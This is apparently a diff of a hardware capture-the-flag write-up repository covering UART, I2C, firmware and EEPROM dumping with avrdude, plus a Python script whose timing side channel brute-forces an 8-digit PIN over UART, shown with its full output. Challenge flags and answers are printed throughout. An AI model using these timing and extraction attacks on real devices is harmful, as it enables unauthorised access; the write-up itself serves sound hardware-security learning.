+ upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20
+
+ for idx, candidate in enumerate(KEYSPACE):
+ candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1))
+ durations = []
+
+ for attempt in range(ATTEMPTS_PER_CANDIDATE):
+ # Best-effort non-blocking drain of stale UART lines BEFORE sending
+ try:
+ while ser.in_waiting:
+ _ = ser.readline() # discard
+ except Exception:
+ pass
+
+ # Clear any previous short event records on Arduino
+ try:
+ arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1)
+ except Exception:
+ pass
+
+ # Start timing immediately before send (critical interval begins)
+ t_start = time.time()
+ send_uart_message(ser, candidate_pin + UART_NEWLINE)
+
+ # short settle after send (does not affect measurement start)
+ time.sleep(SEND_SETTLE_DELAY)
+
+ # Perform event-based capture (no UART reads here)
+ dur_ms = 0
+ try:
+ events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS)
+ except Exception:
+ events = []
+
+ if events:
+ low_event = next((ev for ev in events if ev.get("state") == "LOW"), None)
+ if low_event:
+ dur_ms = low_event.get("duration_ms", 0)
+
+ # Fallback blocking wait_if_no_event (still no UART reads)
+ if dur_ms == 0:
+ try:
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW")
+ t_end = time.time()
+ if isinstance(result, dict):
+ dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000))
+ else:
+ dur_ms = int((t_end - t_start) * 1000)
+ except Exception:
+ dur_ms = 0
+
+ # Immediately after measurement, drain UART non-blocking and check for success
+ try:
+ while ser.in_waiting:
+ line = ser.readline().decode(errors='ignore').strip()
+ if line and line.startswith("TS{"):
+ # Found success; append this candidate and return the discovered code
+ discovered += candidate
+ log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS")
+ return discovered
+ except Exception:
+ # ignore serial read errors and continue
+ pass
+
+ # Only include durations that lie within the allowed window
+ if 600 <= dur_ms <= upper_bound:
+ durations.append(dur_ms)
+
+ # Update ETA (safe to compute outside critical interval)
+ attempts_done += 1
+ elapsed = time.time() - eta_start
+ avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0
+ remaining_attempts = total_attempts - attempts_done
+ eta_remaining = remaining_attempts * avg_time_per_attempt
+ eta_min, eta_sec = divmod(int(eta_remaining), 60)
+
+ # Overwrite attempt line
+ print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True)
+
+ time.sleep(INTER_ATTEMPT_DELAY)
+
+ # newline after candidate block
+ #print()
+
+ # Compute average using only valid durations
+ avg_duration = (sum(durations) / len(durations)) if durations else 0.0
+ timings[candidate] = avg_duration
+ print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True)
+ print()
+
+ # Select best candidate (largest average); fallback to '0' if none valid
+ if any(v > 0 for v in timings.values()):
+ selected = max(timings, key=timings.get)
+ else:
+ selected = '0'
+
+ discovered += selected
+ log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO")
+
+ # Progress display
+ print(f"\n ┌───────────────────────────────┐")
+ print(f" │ Progress: {discovered:<8} │")
+ print(f" └───────────────────────────────┘\n")
+
+ # Optional settle between positions; keep minimal if timing-sensitive
+ if POSITION_SETTLE_DELAY:
+ time.sleep(POSITION_SETTLE_DELAY)
+
+ log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS")
+ return discovered
+
+
+
+# ================================================================
+# Main Execution
+# ================================================================
+
+def main():
+ log("Initialising Arduino controller...", "INFO")
+ arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+ arduino.connect()
+ version = arduino.get_version()
+ log(f"Connected to Arduino firmware {version}", "INFO")
+
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO")
+
+ log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO")
+ ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1)
+ log("UART connection established", "INFO")
+
+ try:
+ pin = find_code(ser, arduino)
+ log(f"Discovered PIN: {pin}", "SUCCESS")
+ except KeyboardInterrupt:
+ log("Process interrupted by user", "ERROR")
+ except Exception as e:
+ log(f"Unexpected error: {e}", "ERROR")
+ finally:
+ ser.close()
+ arduino.disconnect()
+ log("Connections closed", "INFO")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/docs/12_solution.txt b/docs/12_solution.txt
new file mode 100644
index 0000000..00f88f5
--- /dev/null
+++ b/docs/12_solution.txt
@@ -0,0 +1,134 @@
+$> python3 12_solution.py
+[INFO] Initialising Arduino controller...
+[INFO] Connected to Arduino firmware VERSION:1.3.0
+[INFO] Configured Arduino input pin 2
+[INFO] Connecting to UART target on /dev/ttyUSB0 at 1199 baud...
+[INFO] UART connection established
+[INFO] Starting PIN discovery (timing with no mid-send UART checks)
+[INFO] Analysing position 1/8
+[RESULT] Candidate '0' average LOW-delay: 0.00 ms
+[RESULT] Candidate '1' average LOW-delay: 959.00 ms
+[RESULT] Candidate '2' average LOW-delay: 972.00 ms
+[RESULT] Candidate '3' average LOW-delay: 959.00 ms
+[RESULT] Candidate '4' average LOW-delay: 962.00 ms
+[RESULT] Candidate '5' average LOW-delay: 962.00 ms
+[RESULT] Candidate '6' average LOW-delay: 962.00 ms
+[RESULT] Candidate '7' average LOW-delay: 959.00 ms
+[RESULT] Candidate '8' average LOW-delay: 961.00 ms
+[RESULT] Candidate '9' average LOW-delay: 963.00 ms
+[INFO] Position 1 selected: '2' (avg 972.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 2/8
+[RESULT] Candidate '0' average LOW-delay: 0.00 ms
+[RESULT] Candidate '1' average LOW-delay: 969.00 ms
+[RESULT] Candidate '2' average LOW-delay: 973.00 ms
+[RESULT] Candidate '3' average LOW-delay: 972.00 ms
+[RESULT] Candidate '4' average LOW-delay: 971.00 ms
+[RESULT] Candidate '5' average LOW-delay: 980.00 ms
+[RESULT] Candidate '6' average LOW-delay: 971.00 ms
+[RESULT] Candidate '7' average LOW-delay: 970.00 ms
+[RESULT] Candidate '8' average LOW-delay: 973.00 ms
+[RESULT] Candidate '9' average LOW-delay: 971.00 ms
+[INFO] Position 2 selected: '5' (avg 980.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 25 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 3/8
+[RESULT] Candidate '0' average LOW-delay: 0.00 ms
+[RESULT] Candidate '1' average LOW-delay: 980.00 ms
+[RESULT] Candidate '2' average LOW-delay: 981.00 ms
+[RESULT] Candidate '3' average LOW-delay: 989.00 ms
+[RESULT] Candidate '4' average LOW-delay: 981.00 ms
+[RESULT] Candidate '5' average LOW-delay: 982.00 ms
+[RESULT] Candidate '6' average LOW-delay: 981.00 ms
+[RESULT] Candidate '7' average LOW-delay: 980.00 ms
+[RESULT] Candidate '8' average LOW-delay: 979.00 ms
+[RESULT] Candidate '9' average LOW-delay: 982.00 ms
+[INFO] Position 3 selected: '3' (avg 989.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 4/8
+[RESULT] Candidate '0' average LOW-delay: 990.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1002.00 ms
+[RESULT] Candidate '2' average LOW-delay: 990.00 ms
+[RESULT] Candidate '3' average LOW-delay: 992.00 ms
+[RESULT] Candidate '4' average LOW-delay: 991.00 ms
+[RESULT] Candidate '5' average LOW-delay: 991.00 ms
+[RESULT] Candidate '6' average LOW-delay: 990.00 ms
+[RESULT] Candidate '7' average LOW-delay: 992.00 ms
+[RESULT] Candidate '8' average LOW-delay: 991.00 ms
+[RESULT] Candidate '9' average LOW-delay: 991.00 ms
+[INFO] Position 4 selected: '1' (avg 1002.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 5/8
+[RESULT] Candidate '0' average LOW-delay: 1000.00 ms
+[RESULT] Candidate '1' average LOW-delay: 999.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1000.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1002.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1000.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1001.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1002.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1003.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1001.00 ms
+[INFO] Position 5 selected: '5' (avg 1011.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 25315 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
diff --git a/docs/arduinIO.py b/docs/arduinIO.py
new file mode 100644
index 0000000..704d31d
--- /dev/null
+++ b/docs/arduinIO.py
@@ -0,0 +1,228 @@
+"""
+=====================================================================
+ARDUINO SERIAL CONTROLLER CLASS (PYTHON)
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+
+DESCRIPTION
+---------------------------------------------------------------------
+This module provides a class-based interface to communicate with
+the Arduino Serial Pin Control and Monitoring Firmware v1.3.0.
+
+It supports all implemented serial commands including:
+- Version retrieval
+- Dynamic pin mode configuration
+- Pin map querying
+- Output control (default state, timed pulse)
+- Input monitoring and state reading
+- Duration measurement and blocking wait
+
+=====================================================================
+DEPENDENCIES
+---------------------------------------------------------------------
+- pyserial (install with: pip install pyserial)
+
+=====================================================================
+EXAMPLE USAGE
+---------------------------------------------------------------------
+from arduino_controller import ArduinoController
+import time
+
+# Create controller instance
+arduino = ArduinoController(port="COM3", baudrate=115200)
+
+# Connect and initialise
+arduino.connect()
+print("Version:", arduino.get_version())
+
+# Configure pins
+arduino.set_mode(2, "INPUT")
+arduino.set_mode(8, "OUTPUT")
+arduino.set_mode(9, "OUTPUT")
+arduino.set_mode(10, "OUTPUT")
+arduino.set_mode(11, "OUTPUT")
+
+print("Pin map:", arduino.get_pinmap())
+
+# Set outputs low, pulse one pin, monitor input
+arduino.set_default(8, "LOW")
+arduino.set_default(9, "LOW")
+arduino.set_default(10, "LOW")
+arduino.set_default(11, "LOW")
+
+arduino.set_for(8, "HIGH", 300)
+arduino.watch(2)
+
+# Read input state and duration
+state = arduino.get_state(2)
+duration = arduino.get_duration(2)
+print(f"Pin 2 state: {state}, duration since change: {duration} ms")
+
+# Wait for a state change to HIGH
+arduino.wait_for(2, "HIGH")
+
+# Disconnect
+arduino.disconnect()
+=====================================================================
+"""
+
+import serial
+import time
+
+
+class ArduinoController:
+ """Provides a structured interface for Arduino serial control."""
+
+ def __init__(self, port, baudrate=115200, timeout=1.0):
+ self.port = port
+ self.baudrate = baudrate
+ self.timeout = timeout
+ self.ser = None
+
+ # -------------------------------------------------------------
+ # Connection management
+ # -------------------------------------------------------------
+ def connect(self):
+ """Establish serial connection and wait for READY signal."""
+ self.ser = serial.Serial(self.port, self.baudrate, timeout=self.timeout)
+ time.sleep(2) # Allow Arduino reset
+ while True:
+ line = self._read_line()
+ if line == "READY":
+ break
+
+ def disconnect(self):
+ """Close serial connection cleanly."""
+ if self.ser and self.ser.is_open:
+ self.ser.close()
+
+ # -------------------------------------------------------------
+ # Internal communication utilities
+ # -------------------------------------------------------------
+ def _send_command(self, command, expect_response=True):
+ """Send a command string to the Arduino."""
+ if not self.ser or not self.ser.is_open:
+ raise ConnectionError("Serial connection not established.")
+ self.ser.write((command + "\n").encode("utf-8"))
+ if expect_response:
+ return self._read_line()
+ return None
+
+ def _read_line(self):
+ """Read a single line from serial and strip whitespace."""
+ line = self.ser.readline().decode("utf-8").strip()
+ return line
+
+ # -------------------------------------------------------------
+ # Core command wrappers
+ # -------------------------------------------------------------
+ def get_version(self):
+ """Return firmware version."""
+ return self._send_command("GET_VERSION")
+
+ def set_mode(self, pin, mode):
+ """Configure a pin as INPUT or OUTPUT."""
+ return self._send_command(f"SET_MODE:{pin}:{mode}")
+
+ def get_pinmap(self):
+ """Return current pin assignments."""
+ return self._send_command("GET_PINMAP")
+
+ def set_default(self, pin, state):
+ """Set an output pin to a default HIGH or LOW state."""
+ return self._send_command(f"SET_DEFAULT:{pin}:{state}")
+
+ def set_for(self, pin, state, duration_ms):
+ """Set an output pin state for a specific duration (ms)."""
+ return self._send_command(f"SET_FOR:{pin}:{state}:{duration_ms}")
+
+ def watch(self, pin):
+ """Start watching an input pin for state changes."""
+ return self._send_command(f"WATCH:{pin}")
+
+ def watch_pin(self, pin, duration_ms=2000):
+ """
+ Activates WATCH mode for a pin and collects CHANGE events for a period.
+
+ Args:
+ pin (int): Input pin number to watch.
+ duration_ms (int): How long to listen for events.
+
+ Returns:
+ list of dict: [{'pin': int, 'state': str, 'duration_ms': int}, ...]
+ """
+ # Use the existing _send_command() method
+ self._send_command(f"WATCH:{pin}", expect_response=False)
+ messages = []
+ start = time.time()
+
+ while (time.time() - start) * 1000 < duration_ms:
+ if self.ser.in_waiting:
+ line = self._read_line()
+ if line.startswith("CHANGE:"):
+ # Example: CHANGE:2:HIGH:1421
+ parts = line.split(":")
+ if len(parts) == 4:
+ try:
+ messages.append({
+ 'pin': int(parts[1]),
+ 'state': parts[2],
+ 'duration_ms': int(parts[3])
+ })
+ except ValueError:
+ pass
+ time.sleep(0.005)
+
+ return messages
+
+
+ def get_state(self, pin):
+ """Return current state (HIGH or LOW) of a pin."""
+ response = self._send_command(f"GET_STATE:{pin}")
+ if response.startswith("STATE:"):
+ return response.split(":")[2]
+ return response
+
+ def get_duration(self, pin):
+ """Return duration since last state change."""
+ response = self._send_command(f"GET_DURATION:{pin}")
+ if response.startswith("DURATION:"):
+ return int(response.split(":")[2])
+ return response
+
+ def wait_for(self, pin, state):
+ """Block until specified pin reaches given state."""
+ response = self._send_command(f"WAIT_FOR:{pin}:{state}")
+ if response.startswith("WAIT_RESULT:"):
+ _, pin_str, final_state, duration = response.split(":")
+ return {"pin": int(pin_str), "state": final_state, "duration_ms": int(duration)}
+ return response
+
+ # -------------------------------------------------------------
+ # Continuous monitoring
+ # -------------------------------------------------------------
+ def monitor(self, callback=None):
+ """
+ Continuously read from serial and process change notifications.
+ Optionally pass a callback(line) for custom handling.
+ """
+ print("[INFO] Monitoring started. Press Ctrl+C to stop.")
+ try:
+ while True:
+ line = self._read_line()
+ if line:
+ if callback:
+ callback(line)
+ else:
+ print(line)
+ except KeyboardInterrupt:
+ print("\n[INFO] Monitoring stopped.")
+
+ # -------------------------------------------------------------
+ # Utility
+ # -------------------------------------------------------------
+ def flush(self):
+ """Flush serial input buffer."""
+ if self.ser:
+ self.ser.reset_input_buffer()
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
